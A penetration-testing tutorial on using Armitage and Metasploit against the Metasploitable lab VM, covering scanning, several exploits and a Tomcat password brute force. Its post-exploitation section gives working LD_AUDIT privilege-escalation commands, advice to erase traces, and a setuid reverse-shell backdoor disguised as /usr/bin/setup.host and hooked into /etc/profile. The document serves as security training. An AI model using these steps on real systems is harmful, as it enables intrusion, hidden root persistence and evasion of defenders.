

Tutorial: Hacking Linux with Armitage

By Raphael Mudge, Armitage Creator

Metasploit is a popular exploitation framework that has seen plenty of coverage on ethicalhacker.net. This article introduces Armitage, a new GUI for Metasploit built around the hacking process. Today, I will show you how to use Armitage to scan a Linux host, find the right exploit, exploit the host, and handle post-exploitation. By following this process, you will learn how to use Armitage and Metasploit in your own work.

The target we will use is the Metasploitable Linux virtual machine. Metasploitable contains several vulnerabilities making it a safe, and, dare I say ethical, training ground for future penetration testers.

Read the Armitage documentation to get Armitage running. Through the rest of this article, I will assume that you have Metasploitable running, Armitage is ready, and that you have downloaded this Python script that we will use later. Let's get to work.

del.icio.us

Discuss in Forums {[mos_smf_discuss:/root](#)}

Armitage's User Interface

The Armitage user interface has three parts. The modules area lets you search and launch any of Metasploit's modules. The targets area displays your active targets and sessions. Below the modules and targets are the tabs. Each dialog, shell, and console is opened in its own tab.

The Armitage User Interface

Scanning

Before we can attack a host, we must first perform our reconnaissance step. Armitage provides several tools for this in

the Hosts menu. You can import a vulnerability or port scan, launch NMap, or launch Metasploit's discovery modules.

I recommend launching NMap outside of Armitage and importing the results. By doing this, you will get feedback on the scan while it runs. To launch a full port scan with OS detection and service identification, use:

```
nmap -p 1-65535 -T5 -A -v 172.16.146.0/24 -oX scan.xml
```

Replace 172.16.146.0/24 with your network description or the IP address of Metasploitable. Once the scan is complete, import it into Armitage. Go to Hosts -> Import Hosts -> Nmap Scan Results and select your file. You will now see the Metasploitable Linux box in the Armitage targets view.

A Host

To view the results of the NMap scan: right-click the host and select Services. This will bring up a tab showing the results of our scan. The results are grouped into name, port, proto, and info columns.

Metasploitable's Services

The name column is the name of the service nmap identified on the scanned port. Proto tells you if the service detected uses the UDP or TCP protocol. The port number lets you know which port we're talking about. And finally, the info column gives you a banner grab from the port. This is very important as it helps us identify which service is running on that port. We'll use this information to come up with attack options.

Attack: Simple Remote Exploitation

Metasploit has over 650 exploits. If you don't know which one you want to use, this list may seem intimidating. Fortunately, Armitage can help narrow this list down. Go to Attacks -> Find Attacks -> by port. Armitage will analyze your hosts and build a custom attack menu for each. Wait for the "Attack analysis is complete" dialog before continuing.

Right-click on the target and you'll notice an attack menu. The attack menu will have submenus for each exploitable service on the target host. Not all of these exploits are applicable, but these are the best candidates.

Looking at the services information (see previous section), we see that Metasploitable is running ProFTPD 1.3.1. Go to Attack -> ftp and select one of the ProFTPD exploits. Selecting an exploit will bring up a dialog with information about the exploit and options you can adjust. If you read the description, you'll see that the ProFTPD exploits are for a different version of ProFTPD. Drats, this attack won't work for us.

Armitage's Exploit Launcher Dialog

Right-click the target again, go to Attack -> Samba -> usermap_script. You'll notice this is for a specific version of Samba in the 3.0.20-25 range. You'll also observe from the services tab that our target is running Samba 3.x. We don't know the exact version it's running. It's worth trying the exploit. There are no settings you need to change here. Simply click launch to launch the exploit.

If you're successful, the target host will turn red with lightning bolts. Congratulations, you've exploited the target! Right-click your target and select Shell 1 -> Interact to open a tab with your shell. We'll cover this more when we get to post-exploitation.

A Compromised Host

If you're familiar with Metasploit, you may be asking about other payloads. Armitage chooses the Metasploit payload for you. If you're attacking Windows, Armitage will choose meterpreter. If you're attacking any other operating system, Armitage will select a command shell payload. If you're not a Metasploit warrior yet, know that exploits are the delivery mechanism and payloads are the programs that get executed on the exploited host.

Now let's undo all that work by selecting the Console tab and typing sessions -K. This will kill all existing sessions.

Attack: Web Application Exploitation

In the future, I expect the Metasploit Framework will have a mature capability to audit and attack any web application. Today, there are several exploits for common web applications. Right-click the target, go to Attack -> Webapp to see some of them.

So many web app exploits!

These exploits were chosen, because they're associated with the open port on your target. Unfortunately, you may not know which of these applications are installed. This is ok as Armitage will help again. Select the check exploits... item at the bottom of this menu.

The check exploits... command will open a console tab and run an active check of each exploit against the selected target. This is accomplished using Metasploit's check command. Some exploits do not support this, but many of them do.

Once the checks are complete, type Ctrl+F to open a search dialog. Type vulnerable and hit enter. This search will lead you to any exploits that worked.

Found a Working Exploit

You'll notice that tikiwiki_graph_formula_exec is vulnerable. Right-click the target and select Attack -> Webapp -> tikiwiki_graph_formula_exec. As we did before, click the Launch button when the dialog comes up. Now just wait for the computer to turn red.

To kill this shell, right-click the target and navigate to Shell 2 -> Disconnect.

Attack: Brute Force Login

This next attack will require a few steps. Look at port 8180 in the services tab. From the info field, we can see this port is running Apache Tomcat JSP 1.1.

Click the search field in the module browser. Type tomcat and press enter. There is one exploit for Tomcat: exploit/multi/http/tomcat_mgr_deploy. Double-click this module to open its launch dialog. If you look at the variables, you'll notice we need a username and a password. We don't have these yet, so close this launch dialog.

Module Search Results

Metasploit has several auxiliary modules for guessing usernames and passwords. These modules are usually named service_login. Looking at the module search results for tomcat, you'll see auxiliary/http/tomcat_mgr_login. This is what we need. Double-click it to open a launch dialog.

tomcat_mgr_login Dialog

You'll notice all of the parameters are set including the USERPASS_FILE option. USERPASS_FILE points to a file with a list of usernames and passwords. If you double-click this option in the Option column, Armitage will open a file chooser to let you select another file. Fortunately, this file is fine. Make sure you set RPORT to the correct value though. The target is running Tomcat on port 8180, not the default value of 8080.

Password Guessing Output

Click launch to start the brute force. If you read the output, you'll notice the login is tomcat:tomcat. That's easy enough.

Open the launcher for the tomcat_mgr_deploy exploit. Set the RPORT option to 8180 as well. Set USERNAME and PASSWORD to tomcat. Select the Target of the host. Here we're attacking a Linux host. Click Launch and wait. Congratulations you have obtained another shell!

Post Exploitation

Now that you've learned how to get access to the host, let's talk about post exploitation. Right-click the compromised host, go to the Shell 3 menu, and select Interact to interact with the shell. This will bring the shell up in its own tab.

Standard console features apply here. You may use the up/down arrows to access your command history. You may also type Ctrl+F if you need to search through the output. If you close the tab, your shell session will still exist. You may open it again by selecting the Interact menu item again.

To find out who you are, type: id in the shell. You'll see from the Tomcat attack that you're tomcat55. Let's work on getting root.

Privilege Escalation

Privilege escalation in Linux is something that depends on your environment. If you're looking for some ideas, visit <http://www.exploit-db.com> and search for recent local exploits on Linux. One bug found by Tavis Ormandy stands out. This bug allows us to create a new world-writeable file owned by the root user anywhere on the system. Tavis's example writes a file to crontab and uses that to run our desired commands as the root user. In my tests, crontab did not execute these commands on Metasploitable. This happens. So, what else can we do? Examining other recent advisories, you'll learn about the Ubuntu mountall privilege escalation vulnerability. A bug in the mountall utility leaves a world-writeable root.rules file in /dev/.udev/rules.d. Anyone capable of writing to this file can use it to execute arbitrary commands as the root user. A quick ls reveals that root.rules doesn't exist in this folder. Maybe this is not our lucky day.

Do you see any options? Let's modify Tavis's example to create a world-writeable root.rules file and get a root shell through it. Type the following commands into your target's shell:

```
umask 0
```

```
export LD_AUDIT="libpcprofile.so"
```

```
export PCPROFILE_OUTPUT="/dev/.udev/rules.d/root.rules"
```

```
ping
```

```
export LD_AUDIT=""
```

```
cd /tmp
```

You will now have a world-writable `root.rules` file in `/dev/.udev/rules.d`. You now need to upload `mountall-CVE-2010-2961.py` to the Metasploitable host. Right-click in the shell window and select the `Upload...` menu item. Navigate to the `mountall-CVE-2010-2961.py` file and click `Open`. Armitage will use the `UNIX printf` command to upload the file. Since the file is so small, the upload will be instant. If the file were larger, Armitage would display the upload progress.

This Python script populates the `root.rules` file with commands to create a `setuid` shell at `/tmp/toor`. It also generates `UDEV` events to force the system to evaluate the rules file. Run this python script on the target to get root:

```
python mountall-CVE-2010-2961.py
```

```
whoami
```

Armitage Privilege Escalation

Congratulations, you're now root. Make sure to cover your tracks by deleting the `root.rules`, the `mountall-CVE-2010-2961.py`, and `/tmp/toor` files.

Persistence

Once you have root, the next step is to add a backdoor to keep your access. Clear the module browser search box and hit enter. This will restore the default module list. Navigate to `payload/linux/x86/shell_reverse_tcp`. Double-click `shell_reverse_tcp` to open a launch dialog.

Here you can generate a Metasploit payload executable. Change the `LPORT` value to 1234. Select `elf` for the output type. `Elf` is a file format for executables on Linux. Click `Launch` and save the file as `backdoor`. Now we have a program that will connect to our attack box on port 1234 with a shell when run.

Now let's set up a listener for our callback shell. Go to Armitage -> `Listeners` -> `Reverse`. Type 1234 as the port and click `Start Listener`.

Right-click in the shell window and select `Upload...` to upload `backdoor` to the target host. Type the following commands:

```
mv backdoor /usr/bin/setup.host
```

```
chmod +x /usr/bin/setup.host  
chmod ug+s /usr/bin/setup.host  
echo "setup.host &\n" >>/etc/profile
```

These commands add our setuid backdoor to the global profile file. When a user logs in, we will receive a root shell from our target.

Kill all shell sessions with sessions -K in the Metasploit console. Switch to the Metasploitable virtual machine. Login as the user msfadmin with the password msfadmin. If you look at Armitage, you should see a new shell session. Open it up and type whoami.

Conclusion

I've shown you how to attack a Linux machine. You saw how to use nmap to scan the target. You learned how to interpret the results of the scan to find and launch attacks. You also learned how to escalate your privileges and persist yourself.

While Metasploit and Armitage weren't the only tools in this adventure, you can see how they aided this process. Armitage does not hack for you, but it provides tools (e.g., the printf upload feature) to make the process easier.

Some of the steps from this article are shown in the following video. Watch it to whet your appetite. To get the most out of this article, download the materials mentioned and carry out this scenario yourself. If you want to challenge yourself, try getting into Metasploitable in other ways. Good luck and happy hacking!

About the Author

Raphael Mudge is a Washington, DC based security engineer. He's created several projects including jIRCii, Sleep, and After the Deadline. He's now working on Armitage, a cyber attack management tool for Metasploit. You can contact him at <http://www.hick.org/~raffi/>.